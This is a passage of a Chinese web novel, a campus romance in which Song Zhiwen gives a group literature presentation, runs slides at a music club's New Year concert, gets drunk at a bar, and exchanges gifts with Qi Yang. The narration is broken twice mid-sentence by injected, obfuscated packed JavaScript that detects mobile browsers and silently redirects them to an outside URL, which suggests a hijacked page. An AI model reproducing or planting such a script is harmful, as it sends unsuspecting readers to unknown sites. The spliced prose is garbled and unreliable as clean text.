“那就旋转木马吧。”齐扬朝后面招了招手，“跟上来吧。” 吴衡露出一副懂的人都懂的表情跟了上去。 宋之雯选了一匹强壮的棕色马跨坐着，回头看其他人也陆续上马，周围都是一圈小朋友，场景有点好笑。 旋转木马启动了，顶部和底部都围了一圈彩色的霓虹灯，随着音乐急剧地变化着，如梦如幻。吴衡等人一开始还嫌弃幼稚，后面渐渐地乐在其中，还互相拿着手机拍照。宋之雯看到前面的齐扬也张开了手臂，唇角微笑着，发丝迎风飞舞，感觉自己又回到了小时候那种自由自在的时光。 “别说还真的挺好玩的。”吴衡下来之后说道，“但这个项目太不刺激了，我们玩点刺激的去。” “好啊，走。”韦峰立刻答应。 吴衡等人接下来把过山车、大转盘、跳楼机等刺激项目都轮了一遍，宋之雯和叶琛在第一个项目就受不了了，便在一旁等他们全部玩完了再一起回去。 由于疲惫宋之雯第二天睡了一天才缓过来，不过晨星音乐社的这次危机总算是暂时解决了。 临近年底各个课程都要提交作业，现代文学课的老师要求的是小组汇报的形式。每一小组选一个文学流派，分别查找资料，然后派一个人上来汇报，为了省事，分组直接以寝室为单位。 宋之雯被推选当了组长，她翻了翻课本：“要不我们就选海派文学？里面有施蛰存、张爱玲等作家，读起来可能有趣一点。” 钟小欢耸了耸肩：“我没意见。” 宋之雯转过头来征求另外两人的意见：“你们呢？” 舒青竹和杨灵异口同声地说道：“我们都可以。” “那我就报给老师了。”宋之雯确认了一下没有小组和她们重合，开始分配任务，“要不钟小欢你负责简介和发展历史，杨灵你读一点短篇小说同时负责ppt制作，我和舒青竹读长篇小说并写一点评论，最后我上去汇报可以吗？” 其他人做了个“ok”的手势表示同意。 下了课之后，宋之雯一把拉过舒青竹：“走吧，陪我去图书馆找资料。” 两人在一堆书里翻翻找找，宋之雯边找还边说道：“你选一个吧，张爱玲还是茅盾？” “那就张爱玲吧，至少我还读得懂，多谢啦。”舒青竹双手合十感激地看了她一眼。 “行吧。”宋之雯叹了一口气，从书架上抽出一本《子夜》，和舒青竹一起抱着书回去啃。 “平时看小说看得可起劲了，一旦为了完成任务看书反而是一种负担。”舒青竹把书翻得哗啦哗啦响。 “你就知足吧。”宋之雯白了她一眼，晃了晃手里的书本，“你还有一些情情爱爱的可以看，我这本是讲民国的商人怎么创业的。” 两人不再说话了。 老师一共给了两周的时间来准备汇报。前一周整个寝室都没什么动静，依旧是该吃吃该喝喝，舒青竹说着要看书其实也只看了几页。 到了第二周宋之雯和舒青竹开始慌了，天天背着电脑去图书馆，花了三天功夫终于把她们那部分资料赶了出来。 当宋之雯按下发送键的时候，她还不忘问杨灵一句：“钟小欢的资料你收到了吗？” “没有啊。”杨灵回复。 宋之雯扶额，她老早知道钟小欢的心思不在学业上，因此只给她排了最轻的任务，没有想到还是出了问题。 她思考了一会儿，又缓慢地打字回复道：“我去催一催她吧。” 她和舒青竹一道回寝室，钟小欢依旧还躺在床上，手机外放着电视剧，看得咯咯直笑。 宋之雯走到她的床下，试探地叫了一声：“钟小欢？” 看她没有反应，宋之雯又加大了音量：“钟小欢！” 钟小欢这才关掉了电视剧，茫然地转过头来：“啊？” “是这样的，我们现代文学下周就要小组汇报了，你尽快把你的资料赶出来吧，最好今天就能给我，不然杨灵来不及做ppt了。” “哦，好。”钟小欢点点头，又躺了回去，“先让我把这集电视剧看完吧。” 宋之雯没有再去催促她，等过了好一会儿钟小欢才从床上下来，慢腾腾地拿出电脑开始捣鼓，完了把一个文件发给她：“我做好了。” 宋之雯打开文件一看，里面只有几百字的海派文学的简介。 她忍着心里的怒气，又耐心地说道：“钟小欢？你发给我的内容太少了，这样杨灵ppt没几页好做，还是需要你改一下。” “还要改啊？”钟小欢一脸不情愿，“怎么改？” “你还要再加上它的发展历程和特点，比如分为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597498|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪几个阶段，代表作家有哪些，这样我们也好讲。” “大概要多少字呢？” “一千要的。” “行。”钟小欢转了回去，又开始操纵鼠标复制粘贴，“这样行了吧？” 宋之雯看了一下她新发来的资料，虽然比较粗糙，但基本的信息还是有了的，估计再改也要烦了。她便点点头：“可以了。”然后手动帮她润色了一下再发给杨灵。 这时舒青竹站了起来，用眼神暗示了一下宋之雯：“吃饭去吗？” “好啊。”宋之雯和她一起出门。 到了食堂，舒青竹才把内心的情绪爆发出来：“烦死了和这种人小组合作，活也不愿意干，还要别人帮她兜底。” “消消气，你看今天食堂有酸菜鱼，多吃点。”宋之雯试图安慰她。 “我说阿雯你脾气真的太好了，要是我早骂她了。” “她本来就是那种想着大学四年水水过的人，你又对她能报多大期望呢？”宋之雯打了饭，和舒青竹找了个位置坐下，“再说骂了又能怎样呢？反而把关系搞僵了，大家还生活在一个屋檐下呢。” “唉，但是这样的情况后面肯定还有发生，想想就生气。”舒青竹咔嚓咔嚓地嚼着一片菜叶，似乎这样才够解气。 “那我们以后尽量避开她，不跟她小组合作好了。” “就不能换个靠谱的室友吗？”舒青竹哀嚎。 “上哪儿换去？这届寝室都住满了怎么换？让她一个人搬出去？本来她除了混日子也没什么大问题，倒成了我们排挤她了。” “也是。”舒青竹泄了气，愁眉苦脸地扒拉着米饭。 “别想那么多了，你要相信大部分人还是好的。”宋之雯往她碗里夹了块鱼片。 舒青竹勉强地笑笑，算是和自己和解了。 周一汇报准时进行，宋之雯走上去，按照自己老早准备好的讲道：“我们小组介绍的是海派文学，可以分为广义的和狭义的，广义的包括左翼文学、新感觉派和鸳鸯蝴蝶派，狭义的只指新感觉派。由于时间关系，我们只重点挑出这个几个作家来讨论。” 紧接着她就列举了每一个时期的代表作家以及他们的作品，并发表了一些自己的评论。 老师的脸上逐渐露出满意的神情，给了他们小组一个比较高的分数。 课程结束的时候宋之雯走出教学楼，才发现天空飘起了雪花，小小的白色的一点，落在手心顷刻间化成了水珠。 她意识到这一年马上就要过完了，又想起了心理老师说的：“通过这段时间的相处，有些同学出现了分歧可能难以继续下去，那也没关系，感谢你们短暂的缘分，至于能相处下去的同学，好好享受你们的跨年吧。” 这时候她收到了齐扬发来的一条消息：“跨年晚会来帮忙点ppt吧。” 20. 第二十章 跨年 宋之雯想都没多想就回复了一个“好”字。 在跨年晚会的前一天，齐扬把社员做好的ppt发给了宋之雯，并告诉她每个人大概要表演什么内容，在哪里切换，让她跟着所有人走一遍流程。 点ppt的位置在报告厅的侧边，虽然偏了一点，但好歹是第一排，可以把每个人的表演都看得清清楚楚。 这次跨年晚会主要是让社员展示自己，因此曲目的选择非常自由，各种音乐风格都融合在了一起。 晨星乐队也为社员做出了让步，只在最后表演了一首曲目外加齐扬的个人solo，并且美其名曰准备惊喜，彩排只是走了个过场并没有尽全力。 至于于爱丽那边，宋之雯老早打过了电话，就以期末考试为借口，说要背的东西太多这次元旦就不回来了。于爱丽倒也没说什么，只是叮嘱她要期末了少出去，好好在图书馆复习。 上完了这一年最后一天的课，宋之雯立刻奔向报告厅。男女主持人已经换好了服装，在旁边练习串场。宋之雯看到齐扬他们也在后台检查设备，不太方便打扰，只是简单地打了个招呼就走向自己的位置。 由于这回晨星乐队总共只表演两首歌，因此火爆程度不及之前的专场，但加上各个学院以及好友之间的赠票，也坐得满满当当。并且每个人的位子上都准备了荧光棒和手环，该有的应援一个不少。 亲友团也十分给面子，还没出场就开始欢呼，等主持人上台时更加热情地鼓掌。 主持人的开场白无非就是在这个辞旧迎新的日子里，我们能有缘相聚在这里参加晨星音乐社的跨年晚会，又讲了一段接下来演唱者的故事。他的名字叫雷鸣，从小就是学美声的，人称C大帕瓦罗蒂。 灯光暗了下来，一位身材微胖，穿着燕尾服的男生走了上来，看这架势就十分不简单。 他选的是帕瓦罗蒂的代表作《我的太阳》，开口唱第一个音的时候，灯光忽地亮起，把他那厚重又充满共鸣的嗓音衬托得无比突出。宋之雯在第一排只觉得巨大的音浪袭来，震得脑袋嗡嗡响，仿佛自己不是在小小的演播厅，而是在帝都音乐厅。 虽然他的气息控制比原唱还差得远，有时候会有不稳，但凭借几个华丽的高音已经足够让人瞠目结舌了。等他唱完之后所有人把手都快拍红了，还感慨道：“卧槽，第一个就这么强吗？” 下一个上来的是一个rapper钟天一，他天生的律动感非常好，如此密集的词在他的嘴里如珠子一样有轻重缓急地输出，即使再快也不影响听感，瞬间点燃了全场的气氛。 后面的社员有唱欧美金曲的，也有传统的华语芭乐情歌，还有小众的如R&B和爵士风格，简直和花园一样百花齐放。底下的观众从一开始的随便看看到瞪大了眼睛目不转睛地看。 终于轮到尹心悦上场了，她今天特意去租了一身薄荷绿的蓬蓬裙，长长的卷发垂落到肩上，笑容甜美可人，很像童话里养尊处优的小公主。 她往宋之雯这边的方向看了一眼，示意可以放伴奏了。宋之雯点点头，按下了播放键，然后专心看尹心悦的表演。她也很好奇经过了三个多月尹心悦会有什么样的变化。 尹心悦的嗓音属于偏小嗓的类型，不厚实但高音又十分有穿透力，因此那种展现技巧的歌特别适合她。然而今天她的歌声却和以往不一样了，一开口就充满着悲伤，让人情不自禁地跟她陷入那个情绪中。她唱的是张惠妹的《身后》： 我喜欢看你孩子般走在前头 像第一次发现世界的探索 告诉我鲜艳的颜色好多 她落下来的那只手不受控地微微颤抖着，情绪顶到了一定程度的时候，只能伸手狠狠揪了一下胸口，声音也拧在了一起。 能不能答应我 临别时候或许你就先走 徒留感伤就请你留给我 让我面对你往后的寂寞 能不能答应我 分开时候放心回头看我 让我明白牵挂着你的手 松开后还能忍住泪向你告别挥手 接下来是一段轻轻的吟唱，尹心悦并没有使用平常飙高音的方式，而是留了几分力。声音婉转而动人，这种低低的倾诉更能说尽她心中的委屈。紧接着这段吟唱忽然又拉长，调猛地转高，积累到一定程度爆发了出来。 能不能答应我 再见时候就别再认出我 别让我承受牵过的你的手 再重逢已换作你向我告别挥手 她的手往空中伸去，似乎是要抓住什么东西，但最终什么也抓不住，只能无力地垂落了下来。宋之雯看到她的眼睛里亮晶晶的，似乎是有泪光闪过。 只停顿了一秒，报告厅里响起了排山倒海的欢呼声，宋之雯也在拼命鼓掌。没想到才三个多月的时间，尹心悦的技巧和情感都到了如此娴熟的地步，可见是与生俱来的天赋。 尹心悦的情绪似乎受到了歌的影响，只是简单地鞠了一躬就下台了。 终于轮到晨星乐队的倒数第二个节目了，宋之雯和底下的观众一样期待着。 成员上台的时候，底下忍不住发出了惊异的“哇哦”声，因为他们今天的打扮的确很不摇滚。 齐扬只穿了一件简单的白色毛衣和牛仔裤，旁边的吴衡、韦峰和叶琛也以浅色的毛衣为主，何瑜穿了一条棕色的背心裙，还以为是哪个小清新风格的合唱团。 然而只有宋之雯知道他们为什么要这么打扮，等齐扬一开口后其他人也瞬间明白了，因为他唱的是五月天的《转眼》。 转眼走到了自传最终章 已浏览所有命运的风光 混浊的瞳孔风干的皮囊 也曾那般花漾 过往齐扬唱歌的风格都是锋芒毕露的，恨不得把心里的想法都嘶吼出来。而这次他的唱法却收了力道，声音格外柔和，偏向抒情摇滚，情感却丝毫不减。 惶惶不安念念不忘 还是得放开双掌 掌心曾握着谁的体温渐凉 观众也是第一次听到这种唱法，感到十分新奇，专注地听着。暗淡的灯光下，只有挥舞着不同颜色手环的声音，构成了一片音乐的海洋。 何瑜的键盘急匆匆地转了个调，韦峰的鼓声、吴衡的贝斯和叶琛的吉他声也配合着加强，将歌推向了副歌的部分。 有没有人依偎我身旁 听我倾诉余生的漫长 在你的眼中我似乎健忘 因为我脑海已有最难忘 最难遗忘 这种副歌不是爆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630097|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发式的，而是情感的层层推进。齐扬此时的声音已经完全放开，但他是全身心地投入在给你讲一个他的故事，有着少年人历经沧桑归来的成熟和稳重。 观众的情绪也被完全感染了，他们把一切都抛在了脑后，任由自己的身体跟着鼓声、琴声一起律动。甚至没有人指挥，他们就开始有节奏地挥舞着荧光棒，仿佛跟着齐扬经历了这首歌的一生。 唱完之后掌声经久不息，许多人高喊着齐扬的名字，足足持续了有好几分钟。齐扬等他们平静下来之后才说道：“感谢大家今晚来看晨星乐队的演出，这次我们乐队选择的主题是成长。也许成长的道路上都有困难挫折，但回头看是最美的风景，就像这首转眼一样。下一首歌也是关于成长的，是我的原创，叫《独自长大》。” 何瑜在一旁开始拍手：“下面就让我们把舞台交给齐扬。” 还是那把熟悉的吉他，齐扬站在舞台的正中央，一下一下地拨动着琴弦，然后低低地吟唱着，声音里充满了不甘，似乎是在控诉。 他的谎话总是成篇 说忙完工作就会回家 却留我独守这房间 她的反抗总是无言 曾经想过远走高飞 却舍不掉年少的悲欢 “他”和“她”是谁？齐扬的父母吗？宋之雯支着头在思考，这么说齐扬与他父母的关系并不好，难怪上次问他的时候他不愿意说，家家有本难念的经。 她看向齐扬，但齐扬依旧沉浸在自己的情绪中，他的语调逐渐拉长，让这首歌更添了一点悲凉。 总是单调地重复每一天 坐在窗前看天色渐晚 心中也有过不安 不知谁能与我作伴 这样的情感刚好能累积起来，顺利地切入副歌。齐扬扫弦的力度又重了一些，一下一下有规律的节奏敲击着人的心。他的眼神里闪过一丝冷冽，其中的寒意能刺痛人。在唱的时候也几乎是咬牙切齿地唱的，可见内心如何作着激烈的斗争。 也许我应该学着独自长大 愈合成长留下的疤 给自己戴上一副盔甲 抵挡世间的所有复杂 年少的肩膀逐渐撑起一个家 不期望谁为我留下 强迫自己不再害怕 去追寻属于自己的爱呀 在唱到最后一句“去追寻属于自己的爱呀”的时候，齐扬似乎是被触动了，尾音颤抖得厉害。宋之雯也觉得自己的心似乎绞在了一起，沉重得透不过气来。台下也陷入了一片沉默，甚至还有人偷偷抹起了眼泪。 然而齐扬重新吸入一口气，眼神又恢复如初，歌声也恢复了平稳。仿佛刚才出现的只是一个小插曲，自己无意中展现出的秘密的一角很快被掩盖了。 这首歌完了之后收获的掌声是最热烈的，很多人表示还没听够，喊着要再来一首。 齐扬摆摆手：“这次是我们整个晨星音乐社的演出，还是以社员为主，我们就不喧宾夺主了，以后还有很多机会见面的。”还没等观众反应过来，他就几步溜下了台。 大家陆陆续续地散场离开，宋之雯把设备关了之后也准备走，没想到在门口碰到了何瑜。她一把揽过宋之雯的肩膀：“待会儿我们社团聚餐，去不去？” 21. 第二十一章 酒吧 “我就不去了吧。”宋之雯委婉地拒绝，“我也不是晨星音乐社的，不合适。” “哎呀，来吧，我们早就把你当作一份子了。今天是跨年，带你去个好地方。”何瑜不由分说地推着她往前走。 走出学校的校门，穿过热闹的商业街，再拐进一条小巷，宋之雯才明白何瑜所说的“好地方”是什么。 眼前的铁门敞开着，上面用LED灯做成的“暴风眼酒吧”几个字在闪烁。 这家酒吧的外围装修是极简的工业风，里面却大不相同，幽蓝的灯光有些昏暗，乐池中央几个烫着爆炸头的年轻人正在演奏着重金属音乐。 一个身材壮硕胳膊纹着花臂的男人走了过来，很轻车熟路地问道：“瑜姐，又来了？” “嗯，这回带几个朋友来。”何瑜点点头。 “早就给你安排好了。”男人领着他们到了大堂里的一张大圆桌旁。 宋之雯想了想，还是决定坐在何瑜边上，尹心悦则毫不避讳地坐在了齐扬旁边。 “看看你们需要什么酒？”齐扬把酒水单递了过来。 宋之雯看了一眼前面的爆款推荐：“长岛冰茶？” “你省省吧。”齐扬皱了皱眉头，又向服务员招手，“来一杯度数低的鸡尾酒。” 酒很快就上来了，里面放了柠檬和薄荷叶，宋之雯尝了一口，有一股雪碧夹杂着酒精的味道，意外的还不错。 何瑜举起了酒杯：“庆祝一下我们晨星音乐社又招进来了一批新的小朋友，以后社团的发展就看你们了，干杯！” 大家纷纷举起杯子碰杯。 “你酒量可以吗？”吴衡拍了拍叶琛的肩膀，“我怕你喝不了。” “这还是没问题的。”叶琛喝了一大口，“毕竟家里经常来亲戚，喝惯了。” “那我就不客气了。”吴衡继续招呼着齐扬，“来来来，我们赌骰子，谁输了谁喝。” 很快服务员就送了骰子上来，几个男生围成一圈，把杯子摇得哗啦哗啦响，眼睛里闪着兴奋的光芒。 “我比你小，你输了齐扬。”吴衡高兴得跳了起来。 “行，愿赌服输。”齐扬把剩下的酒一饮而尽。 何瑜笑着看玩得不亦乐乎的男生，开始和旁边的女生聊起天来：“心悦是学会计的啊？我当初面试还以为你是音乐专业的呢。” “我很喜欢音乐，但是爸妈觉得会计好找工作。”尹心悦甜美地笑笑。 “没关系，只要你真的喜欢唱其实是不是专业出身都没关系。” “我觉得你今天的表演就很好，我很喜欢。”宋之雯跟了一句。 “是吗？”尹心悦给了她一个意味深长的眼神，“社长教得好。” 她抿了一口酒，继续说下去：“说真的你运气也是真的挺好，刚好今年吉他社与音乐社合作，刚好吉他社管理人员不多，韦峰又有资源。” 何瑜的脸色也有点变了，但脸上还是维持着笑意：“她是我叫过来的，很大一部分也是我的主意，不过你放心，她人很好的。” 尹心悦没有再说话。 “阿雯以后想干什么呢？”何瑜问道。 “我啊......”宋之雯思考了一会儿才说，“我可能还是像我妈安排的那样，毕业之后考个公务员吧。” “也好，挺稳定的。” 一旁的吴衡又叫道：“瑜姐，你别光顾着聊天，也和我们来玩玩。” “来了来了。”何瑜站起身来，“可别说我又不让你们。” “这次我就不信了。”吴衡信心满满。 然而几杯酒过后，吴衡连连求饶：“我错了瑜姐，你在这个游戏上的运气真是无人能敌的。” “知道我的厉害了吧？”何瑜拍了一下他的肩，“行了，不为难你了，我去抽根烟透口气。” 她看了看老板，两人有说有笑地走出去了。 另一旁的座位只剩下了尹心悦和宋之雯两个人，气氛一时间有点尴尬。 “你其实不用担心。”宋之雯先开口，“我在音乐方面没什么天赋，这回也只是出于搭档的情谊来帮一下忙而已，影响不了你。” 尹心悦“嗯”了一声，随后就站起身来走到乐池中，连飙了几个高音，赢得了顾客的连连赞叹。 宋之雯正专注地看的时候，发现齐扬已经不知道什么时候脱离了那群男生，坐到了自己身边：“感觉怎么样？” “挺好的啊，我都不知道我们学校附近有这地方。”宋之雯回答。 “失望吗？” “嗯？”宋之雯疑惑地抬起头，似乎没明白他的意思。 “我说瑜姐。”齐扬指了指外面的方向，“与你平日里以为的形象不符。不过干我们这行的，或多或少都会抽点，不要把我们想得太好。” 宋之雯笑了：“如果仅凭抽烟就能鉴别一个人的好坏的话，那未免也太容易了。” 齐扬也听得笑出了声：“我还是第一次听到这种说法，很新奇。” “你们经常来这里吗？” “对，这里算是我们的演出场所，当初是瑜姐好说歹说不要报酬才留我们下来的。不过老板你别看着凶，人也实在，给了我们很多机会。” “我相信你们的舞台肯定不止这个。”宋之雯盯着舞台上表演的人，“比他们强多了。” “借你吉言。”齐扬也目光深沉地看着台上，有说不明的情绪。 何瑜抽完烟回来，很自来熟地走到乐池中央，和里面表演的人一起蹦迪，还招呼底下的人一起上来。于是一群男生全部涌了上去，和她一起放肆地唱着。宋之雯没有跟上去，只是又给自己要了一杯酒。 酒劲开始逐渐上来，几位男生的脸通红，纷纷扬言吃不消走下了台。一下台，他们就团团围在齐扬的身边，催促他上台。 齐扬实在抵不过他们的热情，走上去唱了一首安静的歌。然而他一上台，就足以引发一阵尖叫。有些顾客都眼熟他，借着喝酒的名义想和他搭讪，他都一一拒绝，唱完之后赶紧走下了台。 酒吧墙上的时钟已经逐渐指向了零点，DJ抢过话筒：“让我们倒数十个数，让这一年的霉运都 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“我不知道啊，当时也没看到。”何瑜摊手。 齐扬看她的眼神带了点责怪的意味：“我早说了，不要把好学生带到这里来，未必是好事情。” “我只是想带他们来见见世面而已，这也有错吗？”何瑜今天也灌了不少，说话的语气有点激动。 齐扬不想和她吵，只是叹了口气，自觉地半蹲了下来。何瑜也会意，自觉地闭了嘴，把宋之雯弄到齐扬的背上，和老板陪笑着走了。 喝醉的宋之雯脸通红，全身热乎乎的。不知道是不是酒精的关系，齐扬觉得自己的气血也往脑袋上涌，身体僵硬了起来。他猛地一拉开门，迎面而来的寒风夹杂着雪花让他清醒了一些。 地上已经积起了一些雪，路很滑。其实宋之雯并不重，但齐扬还是走得格外慢，生怕给人家有什么闪失。 背上的人忽然动了动，紧接着是一股酸味。齐扬吓得赶紧把人放下来：“我靠，你不会要吐吧？” 话音还没落，宋之雯就已经在路边把刚刚喝的吐了个七七八八。 齐扬扶着软绵绵的她，让她不至于跪倒在路边，眼里满是无奈：“不会喝就别喝啊。” 宋之雯跟没听见似的，吐完眼睛一闭又睡过去了。 齐扬确认了好一会儿她不会再吐之后，摇了摇头，让何瑜重新把她弄到了背上。 回宋之雯的宿舍要经过一个大的斜坡，这么冷的天，齐扬的头上竟然渗出了汗珠。 宿舍区还能进去，但楼底下的门早已经关了。齐扬让何瑜扶着宋之雯，自己从宋之雯口袋里摸出了手机，给室友打电话。 舒青竹还穿着家居服就下来了，看到宋之雯这个样子也吓坏了，连声道谢，费了好一番力气才把她拉了上去，弄到了床上。 宋之雯一觉睡到了快下午，醒来只觉得头疼欲裂，看了一眼手机映入眼帘的就是齐扬的消息：“酒醒了？” 22. 第二十二章 礼物 宋之雯立刻清醒了大半，回复道：“醒了，谢谢社长关心。” “昨天晚上的事不记得了？”齐扬又来了一句。 宋之雯惊出了一身冷汗，拼命回想也想不起昨天晚上发生了什么事，只好小心翼翼地问道：“什么事啊？我实在不记得了。” 屏幕那端的齐扬嘴角勾起了一个笑容：“问你室友去吧，一时半会儿说不清楚。” 宋之雯的心里更忐忑了，她试探地拉开床帘，看舒青竹正疯狂地对着电脑赶作业，便叫了一声：“舒青竹？” “你终于醒了啊。”舒青竹回过头来。 宋之雯讨好地笑了一声：“我昨天喝醉了什么都不知道，是谁把我送到这里的能和我说说吗？” “你还好意思问。”舒青竹埋怨道，“人家社长一路把你背过来的，你还吐人家身上了，毁了人家一件羽绒服。我费了好大劲才把你送上来，拖到床上。” 宋之雯顿时觉得脸上发烫，喃喃道：“原来是这样啊......” 她编辑了好几次才给齐扬发出去：“衣服没事吧？要不要我赔你一件？” 对面立刻秒回：“不用，送去干洗了一下，现在洗干净了。” “那干洗的钱我出？” “也不用。” “这怎么好意思呢？毕竟是我喝酒误事，还麻烦你送回来，还把你衣服弄脏了。”宋之雯二话不说给他转了100块钱过去。 齐扬没有收，而是回了一个：“你也知道喝酒误事？” 宋之雯不知道该怎么回答。 看她没有回复，他又加了一句：“当一个教训吧，下次少喝点。” 宋之雯想了想，也只能回：“好，下次不喝了。” 打完这几个字，她懊恼地用手捂住了脸，这回真是丢人丢大发了。 接下来的两天，宋之雯再也不敢出去，夹着尾巴老实做人，还主动承担起了制作心理课汇报的任务。她也问过齐扬的意见，齐扬只说她自己看着办就好，因为他们要为即将到来的大学生音乐联赛排练了。 宋之雯明白这对齐扬来说是最后的机会了，毕竟大四他们就要面临人生的关口，各自找工作去了，现在还能放手一搏。于是她只让齐扬和吴衡承担了最后上去分享的任务，等全部的ppt做好之后发给他们简单过一遍。 新年回来之后的心理课充满着欢乐的气氛，因为老师课前叮嘱了给自己的搭档准备一份礼物，课下交换，所以每个人的脸上都充满了期待。 心理老师穿着一身藕粉色的大衣进来了，尽显她优雅的气质，笑容满面地和大家打招呼：“新年好啊。” 大家也热情地回复：“新年好。” “感谢大家的陪伴，和大家相处的时光非常开心，但是我们的课也要接近尾声了，所以这节课我们就来做一个汇报，分享一下你们这段时间搭档的感受。”老师伸手指向了门边，“先从这一组开始吧。” 被叫到的一对男女同学一脸兴奋地上来，开始在ppt上分享他们认识的点点滴滴，最后还感谢了老师的撮合。即使是没有成的同学，也总结了他们相处过程中存在的问题，让大家可以在以后借鉴。全程老师的嘴角就没有下来过。 轮到宋之雯上台，她打开ppt，显示出的就是一张对比图：“先简单介绍一下自己，我叫宋之雯，中文专业，我的搭档齐扬是音乐专业。如这张图所示的一样，我和齐扬还是有很多不同点的。我相对内向，他相对外向一点，我做事的方式更柔和，他相对更直接。所以相处过程中也会遇到一些问题。” 她继续往下翻了一张ppt：“这是我之前列出的理想型，齐扬的我问了，他说不知道。根据我们对亲密关系的预期，显而易见......是有差异的。” 台下发出了一阵爆笑。 “不过从某种意义上讲也是好事，这样所谓的月晕现象，也就是对对方有滤镜的阶段我们没经历过。但太过不同也会导致矛盾，因此认识的初期我们产生了一些对抗，关系止步不前。” 宋之雯操纵着ppt，各种不同的图表交错展示：“后来我们根据老师所讲的内容反思了一下，总结了原因有以下几点。一个就是童年的创伤对我们人生的影响。因此我们也正视这个问题进行了沟通，发现童年时期和父母的矛盾是会让我们在亲密关系上产生回避的情况，所以我们也决定把自己的经历大胆讲出来。还有一个就是性格的差异了，因此我们生活上也尽可能理解对方。” 她用箭头概括了这一阶段的内容：“所以经过不断的磨合，目前我们是顺利通过了对抗阶段，来到了一个比较平稳的阶段。这一阶段我们一起参加了一些活动，如音乐节、跨年晚会等，也对对方有了更深的了解。我们发现虽然对方存在着一些缺点，但总体来说还是优点多于缺点的。” “因此我们也重新审视了我们之前的标准，并心平气和地去接纳现实，在这段关系中不断反省自己，以达到更好的自我。还是要感谢老师一路以来的引导，这就是我这一阶段的感悟，谢谢大家。”宋之雯朝着底下深深鞠了一躬。 老师带头鼓掌，又有点无奈地笑笑：“我们可以看到这位同学非常认真，还结合了我们课上的理论。不过你也不用那么紧张，分享为主，无论形式华丽也好，朴素也好，只要你是真心的就可以。” 宋之雯点点头，主动让出了位置：“下面请齐扬同学来说几句吧。” 齐扬走了上来，抢过了讲台上的话筒：“宋之雯同学说得没错，我们一开始的相处都不能说有矛盾了，可以说是非常不愉快。” 底下都竖起耳朵一副吃瓜的样子。 “一开始她要来我们吉他社学吉他，我看了几节课后好心提醒她可能不适合这个。也许说话方式直接了一点，她就有点生气，说既然决定收学生，就要平等对待不同资质的学生。” 他故意停顿了一下，吊足了胃口才满意地说下去：“我觉得她说得很有道理，于是找机会和她道了歉。出于补偿心理，我让她参加了我们晨星音乐社的很多活动。没想到的是......” 又在关键的地方戛然而止。 “她都完成得非常好，让我看到她是一个十分热心、善良的人，有这样的搭档是件非常荣幸的事。” 宋之雯舒了一口气 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老师也乐得直不起腰来：“谢谢这位同学热情的分享，可以看出他们关系非常好，也希望你们以后能够一直维持这么良好的关系。” 三个人在大家热烈的欢呼声中走下了台。不过宋之雯扫了一眼台下的尹心悦，表情并不是太好看，果不其然轮到她汇报的时候，对自己的搭档也是满满的嫌弃。 汇报快要接近尾声的时候，心理老师有点不舍地看了看大家：“虽然相处的时间很短暂，只有不到半学期，但大家都给我留下了很深刻的印象。以后你和你的搭档不管是继续走下去也好，还是就此分道扬镳，都是你们青春里一段美好的回忆。” “还有......”她偷偷地把食指放在唇边，“别忘了交换礼物，不要让你的搭档猜出来，给他一个惊喜。” 下了课后，吴衡率先收拾书包：“那我就先回去了，你们慢慢聊。”走过两人身边的时候，他甚至还做了一个“加油”的手势。 齐扬也起身，用眼神示意宋之雯：“走了？” 两人结伴而行，一路上都没怎么说话。走到学校的长廊下的时候，宋之雯用手指了指，征求齐扬的意见：“这里？” 齐扬点头算是默认了，两人找了个地方坐下。本来这里夏天的时候顶棚覆盖的是一串一串的紫藤萝，眼下只有光秃秃的树干。 宋之雯拿出了精心包好的礼物递给齐扬：“我想着你们学音乐的估计什么都不缺，所以送你个新奇的玩意儿。” 齐扬三下两下就拆开了，里面是一个拇指琴。棕色的木头纹理很有质地，上面装着细细的银色琴键，手一碰就会发出清脆的声响。 齐扬试着弹了一段旋律，最后评价道：“不错，可以当玩具玩。” 宋之雯正要撇嘴对他的话表示鄙夷的时候，却发现自己手上不知道什么时候被塞了一个扁扁的盒子。盒子用蓝色的纸和黄色的丝带精心包装过，看得出主人是第一次做这种事，边缘贴得歪歪扭扭的。 她小心地打开，发现里面是一张专辑。 23. 第二十三章 初赛 专辑的设计很简单，底色是深空蓝，上面有几颗星星，封面用网上随处可见的艺术字体写着：未命名的歌。 “什么意思？”宋之雯指着问齐扬。 齐扬解释道：“这是我们晨星乐队录的小样，有些歌甚至只有旋律，都不知道该怎么署名，所以就简单地用编号1234了。” 宋之雯翻开专辑里面看了一下，果然对应的编号标着创作者名称。 她忽然灵光一现，开始翻包，从笔盒里找出一只记号笔，递给齐扬：“在上面签个名吧，未来的大明星。” 齐扬拿着笔哭笑不得：“你确定？” 宋之雯坚决地点头：“确定。” 齐扬大笔一挥，在上面签下了自己的大名。 “谢谢你的礼物。”宋之雯对他笑了一下，“我很喜欢。” “你送的我也很喜欢。”齐扬附和了一句，“别误会，刚刚只是个玩笑。” 两人动身往宿舍走，快要到路口分别的时候，齐扬忽然停住了：“虽然心理课结束了，但晨星音乐社的活动你还是可以参加。” “所以......”他郑重地强调了一下，“我们比赛的时候，你一定要来。” 宋之雯想都没想就回答了一个字：“好。” 